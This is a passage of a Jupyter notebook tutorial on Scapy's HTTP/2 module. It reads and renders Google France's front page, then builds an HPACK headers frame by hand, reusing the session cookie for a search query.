\"text\": [\n        \"<IPython.core.display.HTML at 0x7f26f59bfc10>\"\n       ]\n      }\n     ],\n     \"prompt_number\": 117\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"Let's now read the frontpage response.\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"print(stream_txt[1])\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \":status 200\\n\",\n        \"date: Tue, 13 Dec 2016 17:34:51 GMT\\n\",\n        \"expires: -1\\n\",\n        \"cache-control: private, max-age=0\\n\",\n        \"content-type: text/html; charset=ISO-8859-1\\n\",\n        \"p3p: CP=\\\"This is not a P3P policy! See https://www.google.com/support/accounts/answer/151657?hl=en for more info.\\\"\\n\",\n        \"content-encoding: gzip\\n\",\n        \"server: gws\\n\",\n        \"content-length: 4420\\n\",\n        \"x-xss-protection: 1; mode=block\\n\",\n        \"x-frame-options: SAMEORIGIN\\n\",\n        \"set-cookie: NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly\\n\",\n        \"alt-svc: quic=\\\":443\\\"; ma=2592000; v=\\\"35,34\\\"\\n\"\n       ]\n      }\n     ],\n     \"prompt_number\": 118\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"So, we received a status code 200, which means that we received a page. Let's \\\"visualize it\\\".\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"data = ''\\n\",\n      \"for frgmt in stream_data[1]:\\n\",\n      \"    data += frgmt.payload.data\\n\",\n      \"\\n\",\n      \"HTML(zlib.decompress(data, 16+zlib.MAX_WBITS).decode('UTF-8', 'ignore'))\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [\n      {\n       \"html\": [\n        \"<!doctype html><html itemscope=\\\"\\\" itemtype=\\\"http://schema.org/WebPage\\\" lang=\\\"fr\\\"><head><meta content=\\\"text/html; charset=UTF-8\\\" http-equiv=\\\"Content-Type\\\"><meta content=\\\"/images/branding/googleg/1x/googleg_standard_color_128dp.png\\\" itemprop=\\\"image\\\"><title>Google</title><script>(function(){window.google={kEI:'OzFQWJ_-L4OZaPm9ntgO',kEXPI:'750721,1351903,3700243,4029815,4032677,4038012,4041899,4043492,4045841,4048347,4055745,4062666,4065787,4067860,4068550,4069838,4069841,4072602,4072775,4073405,4073728,4073959,4074597,4074955,4076095,4076931,4076999,4078438,4078456,4078764,4079106,4079442,4079626,4079894,4079954,4080167,4081037,4081039,4082056,4082165,4082217,4082619,4083476,4084298,4084343,4084956,4085057,4085627,4086011,4086290,4086863,4087718,4087977,4088429,4088436,4088448,4088643,4089003,4089106,4089337,4089346,4089481,4089538,4089696,4089741,4089749,4090086,4090352,4090401,4090445,4090806,8300096,8300272,8300478,8506615,8507381,8507419,8507858,8507899,8508059,8508065,8508590,8508957,8509066,8509243,10200083,13500022',authuser:0,kscs:'c9c918f0_24'};google.kHL='fr';})();(function(){google.lc=[];google.li=0;google.getEI=function(a){for(var b;a&&(!a.getAttribute||!(b=a.getAttribute(\\\"eid\\\")));)a=a.parentNode;return b||google.kEI};google.getLEI=function(a){for(var b=null;a&&(!a.getAttribute||!(b=a.getAttribute(\\\"leid\\\")));)a=a.parentNode;return b};google.https=function(){return\\\"https:\\\"==window.location.protocol};google.ml=function(){return null};google.wl=function(a,b){try{google.ml(Error(a),!1,b)}catch(c){}};google.time=function(){return(new Date).getTime()};google.log=function(a,b,c,d,g){a=google.logUrl(a,b,c,d,g);if(\\\"\\\"!=a){b=new Image;var e=google.lc,f=google.li;e[f]=b;b.onerror=b.onload=b.onabort=function(){delete e[f]};window.google&&window.google.vel&&window.google.vel.lu&&window.google.vel.lu(a);b.src=a;google.li=f+1}};google.logUrl=function(a,b,c,d,g){var e=\\\"\\\",f=google.ls||\\\"\\\";c||-1!=b.search(\\\"&ei=\\\")||(e=\\\"&ei=\\\"+google.getEI(d),-1==b.search(\\\"&lei=\\\")&&(d=google.getLEI(d))&&(e+=\\\"&lei=\\\"+d));a=c||\\\"/\\\"+(g||\\\"gen_204\\\")+\\\"?atyp=i&ct=\\\"+a+\\\"&cad=\\\"+b+e+f+\\\"&zx=\\\"+google.time();/^http:/i.test(a)&&google.https()&&(google.ml(Error(\\\"a\\\"),!1,{src:a,glmm:1}),a=\\\"\\\");return a};google.y={};google.x=function(a,b){google.y[a.id]=[a,b];return!1};google.lq=[];google.load=function(a,b,c){google.lq.push([[a],b,c])};google.loadAll=function(a,b){google.lq.push([a,b])};}).call(this);var a=window.location,b=a.href.indexOf(\\\"#\\\");if(0<=b){var c=a.href.substring(b+1);/(^|&)q=/.test(c)&&-1==c.indexOf(\\\"#\\\")&&a.replace(\\\"/search?\\\"+c.replace(/(^|&)fp=[^&]*/g,\\\"\\\")+\\\"&cad=h\\\")};</script><style>#gbar,#guser{font-size:13px;padding-top:1px !important;}#gbar{height:22px}#guser{padding-bottom:7px !important;text-align:right}.gbh,.gbd{border-top:1px solid #c9d7f1;font-size:1px}.gbh{height:0;position:absolute;top:24px;width:100%}@media all{.gb1{height:22px;margin-right:.5em;vertical-align:top}#gbar{float:left}}a.gb1,a.gb4{text-decoration:underline !important}a.gb1,a.gb4{color:#00c !important}.gbi .gb4{color:#dd8e27 !important}.gbf .gb4{color:#900 !important}\\n\",\n        \"</style><style>body,td,a,p,.h{font-family:arial,sans-serif}body{margin:0;overflow-y:scroll}#gog{padding:3px 8px 0}td{line-height:.8em}.gac_m td{line-height:17px}form{margin-bottom:20px}.h{color:#36c}.q{color:#00c}.ts td{padding:0}.ts{border-collapse:collapse}em{font-weight:bold;font-style:normal}.lst{height:25px;width:496px}.gsfi,.lst{font:18px arial,sans-serif}.gsfs{font:17px arial,sans-serif}.ds{display:inline-box;display:inline-block;margin:3px 0 4px;margin-left:4px}input{font-family:inherit}a.gb1,a.gb2,a.gb3,a.gb4{color:#11c !important}body{background:#fff;color:black}a{color:#11c;text-decoration:none}a:hover,a:active{text-decoration:underline}.fl a{color:#36c}a:visited{color:#551a8b}a.gb1,a.gb4{text-decoration:underline}a.gb3:hover{text-decoration:none}#ghead a.gb2:hover{color:#fff !important}.sblc{padding-top:5px}.sblc a{display:block;margin:2px 0;margin-left:13px;font-size:11px}.lsbb{background:#eee;border:solid 1px;border-color:#ccc #999 #999 #ccc;height:30px}.lsbb{display:block}.ftl,#fll a{display:inline-block;margin:0 12px}.lsb{background:url(/images/nav_logo229.png) 0 -261px repeat-x;border:none;color:#000;cursor:pointer;height:30px;margin:0;outline:0;font:15px arial,sans-serif;vertical-align:top}.lsb:active{background:#ccc}.lst:focus{outline:none}</style><script></script><link href=\\\"/images/branding/product/ico/googleg_lodp.ico\\\" rel=\\\"shortcut icon\\\"></head><body bgcolor=\\\"#fff\\\"><script>(function(){var src='/images/nav_logo229.png';var iesg=false;document.body.onload = function(){window.n && window.n();if (document.images){new Image().src=src;}\\n\",\n        \"if (!iesg){document.f&&document.f.q.focus();document.gbqf&&document.gbqf.q.focus();}\\n\",\n        \"}\\n\",\n        \"})();</script><div id=\\\"mngb\\\"> <div id=gbar><nobr><b class=gb1>Recherche</b> <a class=gb1 href=\\\"https://www.google.fr/imghp?hl=fr&tab=wi\\\">Images</a> <a class=gb1 href=\\\"https://maps.google.fr/maps?hl=fr&tab=wl\\\">Maps</a> <a class=gb1 href=\\\"https://play.google.com/?hl=fr&tab=w8\\\">Play</a> <a class=gb1 href=\\\"https://www.youtube.com/?gl=FR&tab=w1\\\">YouTube</a> <a class=gb1 href=\\\"https://news.google.fr/nwshp?hl=fr&tab=wn\\\">Actualits</a> <a class=gb1 href=\\\"https://mail.google.com/mail/?tab=wm\\\">Gmail</a> <a class=gb1 href=\\\"https://drive.google.com/?tab=wo\\\">Drive</a> <a class=gb1 style=\\\"text-decoration:none\\\" href=\\\"https://www.google.fr/intl/fr/options/\\\"><u>Plus</u> &raquo;</a></nobr></div><div id=guser width=100%><nobr><span id=gbn class=gbi></span><span id=gbf class=gbf></span><span id=gbe></span><a href=\\\"http://www.google.fr/history/optout?hl=fr\\\" class=gb4>Historique Web</a> | <a  href=\\\"/preferences?hl=fr\\\" class=gb4>Paramtres</a> | <a target=_top id=gb_70 href=\\\"https://accounts.google.com/ServiceLogin?hl=fr&passive=true&continue=https://www.google.fr/\\\" class=gb4>Connexion</a></nobr></div><div class=gbh style=left:0></div><div class=gbh style=right:0></div> </div><center><br clear=\\\"all\\\" id=\\\"lgpd\\\"><div id=\\\"lga\\\"><div style=\\\"padding:28px 0 3px\\\"><div style=\\\"height:110px;width:276px;background:url(/images/branding/googlelogo/1x/googlelogo_white_background_color_272x92dp.png) no-repeat\\\" title=\\\"Google\\\" align=\\\"left\\\" id=\\\"hplogo\\\" onload=\\\"window.lol&&lol()\\\"><div style=\\\"color:#777;font-size:16px;font-weight:bold;position:relative;top:70px;left:218px\\\" nowrap=\\\"\\\">France</div></div></div><br></div><form action=\\\"/search\\\" name=\\\"f\\\"><table cellpadding=\\\"0\\\" cellspacing=\\\"0\\\"><tr valign=\\\"top\\\"><td width=\\\"25%\\\">&nbsp;</td><td align=\\\"center\\\" nowrap=\\\"\\\"><input name=\\\"ie\\\" value=\\\"ISO-8859-1\\\" type=\\\"hidden\\\"><input value=\\\"fr\\\" name=\\\"hl\\\" type=\\\"hidden\\\"><input name=\\\"source\\\" type=\\\"hidden\\\" value=\\\"hp\\\"><input name=\\\"biw\\\" type=\\\"hidden\\\"><input name=\\\"bih\\\" type=\\\"hidden\\\"><div class=\\\"ds\\\" style=\\\"height:32px;margin:4px 0\\\"><input style=\\\"color:#000;margin:0;padding:5px 8px 0 6px;vertical-align:top\\\" autocomplete=\\\"off\\\" class=\\\"lst\\\" value=\\\"\\\" title=\\\"Recherche Google\\\" maxlength=\\\"2048\\\" name=\\\"q\\\" size=\\\"57\\\"></div><br style=\\\"line-height:0\\\"><span class=\\\"ds\\\"><span class=\\\"lsbb\\\"><input class=\\\"lsb\\\" value=\\\"Recherche Google\\\" name=\\\"btnG\\\" type=\\\"submit\\\"></span></span><span class=\\\"ds\\\"><span class=\\\"lsbb\\\"><input class=\\\"lsb\\\" value=\\\"J'ai de la chance\\\" name=\\\"btnI\\\" onclick=\\\"if(this.form.q.value)this.checked=1; else top.location='/doodles/'\\\" type=\\\"submit\\\"></span></span></td><td class=\\\"fl sblc\\\" align=\\\"left\\\" nowrap=\\\"\\\" width=\\\"25%\\\"><a href=\\\"/advanced_search?hl=fr&amp;authuser=0\\\">Recherche avance</a><a href=\\\"/language_tools?hl=fr&amp;authuser=0\\\">Outils linguistiques</a></td></tr></table><input id=\\\"gbv\\\" name=\\\"gbv\\\" type=\\\"hidden\\\" value=\\\"1\\\"></form><div id=\\\"gac_scont\\\"></div><div style=\\\"font-size:83%;min-height:3.5em\\\"><br></div><span id=\\\"footer\\\"><div style=\\\"font-size:10pt\\\"><div style=\\\"margin:19px auto;text-align:center\\\" id=\\\"fll\\\"><a href=\\\"/intl/fr/ads/\\\">Solutions publicitaires</a><a href=\\\"/services/\\\">Solutions d'entreprise</a><a href=\\\"https://plus.google.com/106901486880272202822\\\" rel=\\\"publisher\\\">+Google</a><a href=\\\"/intl/fr/about.html\\\"> propos de Google</a><a href=\\\"https://www.google.fr/setprefdomain?prefdom=US&amp;sig=__OHnMTECkk1MGvXSKgG4G1AmHq5I%3D\\\" id=\\\"fehl\\\">Google.com</a></div></div><p style=\\\"color:#767676;font-size:8pt\\\">&copy; 2016 - <a href=\\\"/intl/fr/policies/privacy/\\\">Confidentialit</a> - <a href=\\\"/intl/fr/policies/terms/\\\">Conditions</a></p></span></center><script>(function(){window.google.cdo={height:0,width:0};(function(){var a=window.innerWidth,b=window.innerHeight;if(!a||!b)var c=window.document,d=\\\"CSS1Compat\\\"==c.compatMode?c.documentElement:c.body,a=d.clientWidth,b=d.clientHeight;a&&b&&(a!=google.cdo.width||b!=google.cdo.height)&&google.log(\\\"\\\",\\\"\\\",\\\"/client_204?&atyp=i&biw=\\\"+a+\\\"&bih=\\\"+b+\\\"&ei=\\\"+google.kEI);}).call(this);})();</script><div id=\\\"xjsd\\\"></div><div id=\\\"xjsi\\\"><script>(function(){function c(b){window.setTimeout(function(){var a=document.createElement(\\\"script\\\");a.src=b;document.getElementById(\\\"xjsd\\\").appendChild(a)},0)}google.dljp=function(b,a){google.xjsu=b;c(a)};google.dlj=c;}).call(this);(function(){window.google.xjsrm=[];})();if(google.y)google.y.first=[];if(!google.xjs){window._=window._||{};window._._DumpException=function(e){throw e};if(google.timers&&google.timers.load.t){google.timers.load.t.xjsls=new Date().getTime();}google.dljp('/xjs/_/js/k\\\\x3dxjs.hp.en_US.WN3XpSz-BG8.O/m\\\\x3dsb_he,d/rt\\\\x3dj/d\\\\x3d1/t\\\\x3dzcms/rs\\\\x3dACT90oGvdHa7TL2W_IQX1s5BPxYIHeUvhQ','/xjs/_/js/k\\\\x3dxjs.hp.en_US.WN3XpSz-BG8.O/m\\\\x3dsb_he,d/rt\\\\x3dj/d\\\\x3d1/t\\\\x3dzcms/rs\\\\x3dACT90oGvdHa7TL2W_IQX1s5BPxYIHeUvhQ');google.xjs=1;}google.pmc={\\\"sb_he\\\":{\\\"agen\\\":true,\\\"cgen\\\":true,\\\"client\\\":\\\"heirloom-hp\\\",\\\"dh\\\":true,\\\"dhqt\\\":true,\\\"ds\\\":\\\"\\\",\\\"fl\\\":true,\\\"host\\\":\\\"google.fr\\\",\\\"isbh\\\":28,\\\"jam\\\":0,\\\"jsonp\\\":true,\\\"lm\\\":true,\\\"msgs\\\":{\\\"cibl\\\":\\\"Effacer la recherche\\\",\\\"dym\\\":\\\"Essayez avec cette orthographe :\\\",\\\"lcky\\\":\\\"J\\\\u0026#39;ai de la chance\\\",\\\"lml\\\":\\\"En savoir plus\\\",\\\"oskt\\\":\\\"Outils de saisie\\\",\\\"psrc\\\":\\\"Cette suggestion a bien t supprime de votre \\\\u003Ca href=\\\\\\\"/history\\\\\\\"\\\\u003Ehistorique Web\\\\u003C/a\\\\u003E.\\\",\\\"psrl\\\":\\\"Supprimer\\\",\\\"sbit\\\":\\\"Recherche par image\\\",\\\"srch\\\":\\\"Recherche Google\\\"},\\\"nds\\\":true,\\\"ovr\\\":{},\\\"pq\\\":\\\"\\\",\\\"refpd\\\":true,\\\"rfs\\\":[],\\\"scd\\\":10,\\\"sce\\\":5,\\\"stok\\\":\\\"v9hn9ENPV2Cq1VDAu6ud56TzkyQ\\\"},\\\"d\\\":{}};google.y.first.push(function(){if(google.med){google.med('init');google.initHistory();google.med('history');}});if(google.j&&google.j.en&&google.j.xi){window.setTimeout(google.j.xi,0);}\\n\",\n        \"</script></div></body></html>\"\n       ],\n       \"metadata\": {},\n       \"output_type\": \"pyout\",\n       \"prompt_number\": 119,\n       \"text\": [\n        \"<IPython.core.display.HTML at 0x7f26f59bf590>\"\n       ]\n      }\n     ],\n     \"prompt_number\": 119\n    },\n    {\n     \"cell_type\": \"heading\",\n     \"level\": 2,\n     \"metadata\": {},\n     \"source\": [\n      \"Throwing a query!\"\n     ]\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"Let's now query Google! For this, we will build a new query without the helpers, to explore the low-level parts of the HTTP/2 Scapy module.\\n\",\n      \"First, we will get the cookie that we were given. For this, we will search for the set-cookie header that we received.\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"from io import BytesIO\\n\",\n      \"sio = BytesIO(stream_txt[1])\\n\",\n      \"cookie = [val[len('set-cookie: '):].strip() for val in sio if val.startswith('set-cookie: ')]\\n\",\n      \"print(cookie)\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"['NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly']\\n\"\n       ]\n      }\n     ],\n     \"prompt_number\": 120\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"Now, we build the query by hand. Let's create the Header frame, so that we can later stuff all the header \\\"lines\\\" in it. This is a new stream, and we already used the stream ids 1 and 3, so we will use the stream id 5, which is the next available. We will set the \\\"End Stream\\\" and \\\"End Headers\\\" flags. The End Stream flag means that they are no more frames (except header frames...) after this one in this stream. The End Headers flag means that there are no Continuation frames after this frame. Continuation frames can be used to add more headers than one could fit in previous H2HeaderFrame and Continuation frames...\\n\",\n      \"\\n\",\n      \"Our frame will contain little headers and we set very large limits for this tutorial, so we will skip all the checks, but they should be done! The helpers does them, by the way.\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"hdrs_frm = h2.H2Frame(flags={'ES', 'EH'}, stream_id=5)/h2.H2HeadersFrame()\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [],\n     \"prompt_number\": 121\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"Then, we have to specify the pseudo headers. These headers are the equivalent of \\\"GET / HTTP/1.1\\\\nHost: www.google.fr\\\" of old.\\n\",\n      \"For this, we specify that this is a GET query over HTTPS, along with the path, and the \\\"authority\\\", which is the new \\\"Host:\\\".The GET Method and the HTTPS scheme are part of the static HPack table, according to RFC7541. Let's get the index of these headers and put them into HPackIndexedHdr packets.\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"get_hdr_idx = tblhdr.get_idx_by_name_and_value(':method', 'GET')\\n\",\n      \"get_hdr = h2.HPackIndexedHdr(index = get_hdr_idx)\\n\",\n      \"get_hdr.show()\\n\",\n      \"hdrs_frm.payload.hdrs.append(get_hdr)\\n\",\n      \"\\n\",\n      \"https_hdr_idx = tblhdr.get_idx_by_name_and_value(':scheme', 'https')\\n\",\n      \"https_hdr = h2.HPackIndexedHdr(index = https_hdr_idx)\\n\",\n      \"https_hdr.show()\\n\",\n      \"hdrs_frm.payload.hdrs.append(https_hdr)\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"###[ HPack Indexed Header Field ]### \\n\",\n        \"  magic     = 1\\n\",\n        \"  index     = 2\\n\",\n        \"\\n\",\n        \"###[ HPack Indexed Header Field ]### \\n\",\n        \"  magic     = 1\\n\",\n        \"  index     = 7\\n\",\n        \"\\n\"\n       ]\n      }\n     ],\n     \"prompt_number\": 122\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"For the path, we will use \\\"/search?q=scapy\\\". The path might be a sensitive value, since it may contain values that we might not want to leak via side-channel attacks (here the query topic). For this reason, we will specify the path using a HPackLitHdrFldWithoutIndexing, which means that we don't want indexing. We also need to set the never_index bit, so that if there are intermediaries between us and the HTTP server, they will not try to compress this header.\\n\",\n      \"Before setting this header, though, we have to choose whether we want to compress the *string* \\\"/search?q=scapy\\\" using Huffman encoding. Let's compress it and compare its wire-length with the uncompressed version.\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"z_str = h2.HPackZString('/search?q=scapy')\\n\",\n      \"unz_str = h2.HPackLiteralString('/search?q=scapy')\\n\",\n      \"\\n\",\n      \"print(len(str(z_str)), len(str(unz_str)))\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"(12, 15)\\n\"\n       ]\n      }\n     ],\n     \"prompt_number\": 123\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"So the compressed version is smaller. Let's use it, since HTTP/2 is all about performances and compression. \\n\",\n      \"\\n\",\n      \"\\\":path\\\" is the pseudo-header to define the query path. While we don't want to compress the *value* of the query path, the name can be compressed. As it happens, the \\\":path\\\" header name is in the static header table. For this reason, we will search of its index, and then build the header.\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"path_hdr_idx = tblhdr.get_idx_by_name(':path')\\n\",\n      \"path_str = h2.HPackHdrString(data = z_str)\\n\",\n      \"path_hdr = h2.HPackLitHdrFldWithoutIndexing(\\n\",\n      \"    never_index=1, \\n\",\n      \"    index=path_hdr_idx,\\n\",\n      \"    hdr_value=path_str\\n\",\n      \")\\n\",\n      \"path_hdr.show()\\n\",\n      \"hdrs_frm.payload.hdrs.append(path_hdr)\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \\n\",\n        \"  magic     = 0\\n\",\n        \"  never_index= Never Index\\n\",\n        \"  index     = 4\\n\",\n        \"  \\\\hdr_value \\\\\\n\",\n        \"   |###[ HPack Header String ]### \\n\",\n        \"   |  type      = None\\n\",\n        \"   |  len       = None\\n\",\n        \"   |  data      = 'HPackZString(/search?q=scapy)'\\n\",\n        \"\\n\"\n       ]\n      }\n     ],\n     \"prompt_number\": 124\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"The final missing pseudo-header is the new \\\"Host\\\" header, called \\\":authority\\\". \\\":authority\\\" is in the static header table, so we *could* use it. As it happens, we can do better because we previously indexed \\\":authority\\\" *with the value* \\\"www.google.fr\\\". Let's search for the index of this entry in the dynamic table. With luck, the server header table size is large enough so that the value is still inside it.\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"host_hdr_idx = tblhdr.get_idx_by_name_and_value(':authority', dn)\\n\",\n      \"assert(not isinstance(host_hdr_idx, type(None)))\\n\",\n      \"print(host_hdr_idx)\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"66\\n\"\n       ]\n      }\n     ],\n     \"prompt_number\": 125\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"So, the \\\":authority www.google.fr\\\" header is still in the dynamic table. Let's add it to the header list.\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"host_hdr = h2.HPackIndexedHdr(index=host_hdr_idx)\\n\",\n      \"host_hdr.show()\\n\",\n      \"hdrs_frm.payload.hdrs.append(host_hdr)\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"###[ HPack Indexed Header Field ]### \\n\",\n        \"  magic     = 1\\n\",\n        \"  index     = 66\\n\",\n        \"\\n\"\n       ]\n      }\n     ],\n     \"prompt_number\": 126\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"Now that we added all the pseudo-headers, let's add the \\\"real\\\" ones. The compression header is in the static table, so we just need to look it up.\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"z_hdr_idx = tblhdr.get_idx_by_name_and_value('accept-encoding', 'gzip, deflate')\\n\",\n      \"z_hdr = h2.HPackIndexedHdr(index = z_hdr_idx)\\n\",\n      \"z_hdr.show()\\n\",\n      \"hdrs_frm.payload.hdrs.append(z_hdr)\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"###[ HPack Indexed Header Field ]### \\n\",\n        \"  magic     = 1\\n\",\n        \"  index     = 16\\n\",\n        \"\\n\"\n       ]\n      }\n     ],\n     \"prompt_number\": 127\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"We also need to create the header for our new cookie. Cookie are sensitive. We don't want it to be indexed and we don't want any intermediate to index it. As such, we will use a HPackLitHdrFldWithoutIndexing and with the never_index bit set, here as well. The name \\\"cookie\\\", though, happens to be in the RFC7541 static headers table, so we will use it.\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"cookie_hdr_idx = tblhdr.get_idx_by_name('cookie')\\n\",\n      \"cookie_str = h2.HPackHdrString(data = h2.HPackZString(cookie[0]))\\n\",\n      \"cookie_hdr = h2.HPackLitHdrFldWithoutIndexing(\\n\",\n      \"    never_index = 1,\\n\",\n      \"    index = cookie_hdr_idx,\\n\",\n      \"    hdr_value = cookie_str\\n\",\n      \")\\n\",\n      \"cookie_hdr.show()\\n\",\n      \"hdrs_frm.payload.hdrs.append(cookie_hdr)\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \\n\",\n        \"  magic     = 0\\n\",\n        \"  never_index= Never Index\\n\",\n        \"  index     = 32\\n\",\n        \"  \\\\hdr_value \\\\\\n\",\n        \"   |###[ HPack Header String ]### \\n\",\n        \"   |  type      = None\\n\",\n        \"   |  len       = None\\n\",\n        \"   |  data      = 'HPackZString(NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly)'\\n\",\n        \"\\n\"\n       ]\n      }\n     ],\n     \"prompt_number\": 128\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"Also, we need to specify that we read French. Once more, the \\\"accept-language\\\" header is in the HPack static table, but \\\"fr-Fr\\\" might not be. Let's see if we did index that earlier.\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"acceptlang_hdr_idx = tblhdr.get_idx_by_name_and_value('accept-language', 'fr-FR')\\n\",\n      \"print(acceptlang_hdr_idx)\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"65\\n\"\n       ]\n      }\n     ],\n     \"prompt_number\": 129\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"Excellent! This is an entry of the dynamic table and we can use it in this session! Let's use it with an HPackIndexedHdr packet.\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"acceptlang_hdr = h2.HPackIndexedHdr(index = acceptlang_hdr_idx)\\n\",\n      \"acceptlang_hdr.show()\\n\",\n      \"hdrs_frm.payload.hdrs.append(acceptlang_hdr)\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"###[ HPack Indexed Header Field ]### \\n\",\n        \"  magic     = 1\\n\",\n        \"  index     = 65\\n\",\n        \"\\n\"\n       ]\n      }\n     ],\n     \"prompt_number\": 130\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"Let's do the same thing quickly for the other headers.\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"accept_hdr_idx = tblhdr.get_idx_by_name_and_value('accept', 'text/html')\\n\",\n      \"accept_hdr = h2.HPackIndexedHdr(index = accept_hdr_idx)\\n\",\n      \"accept_hdr.show()\\n\",\n      \"hdrs_frm.payload.hdrs.append(accept_hdr)\\n\",\n      \"ua_hdr_idx = tblhdr.get_idx_by_name_and_value('user-agent', 'Scapy HTTP/2 Module')\\n\",\n      \"ua_hdr = h2.HPackIndexedHdr(index = ua_hdr_idx)\\n\",\n      \"ua_hdr.show()\\n\",\n      \"hdrs_frm.payload.hdrs.append(ua_hdr)\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"###[ HPack Indexed Header Field ]### \\n\",\n        \"  magic     = 1\\n\",\n        \"  index     = 64\\n\",\n        \"\\n\",\n        \"###[ HPack Indexed Header Field ]### \\n\",\n        \"  magic     = 1\\n\",\n        \"  index     = 63\\n\",\n        \"\\n\"\n       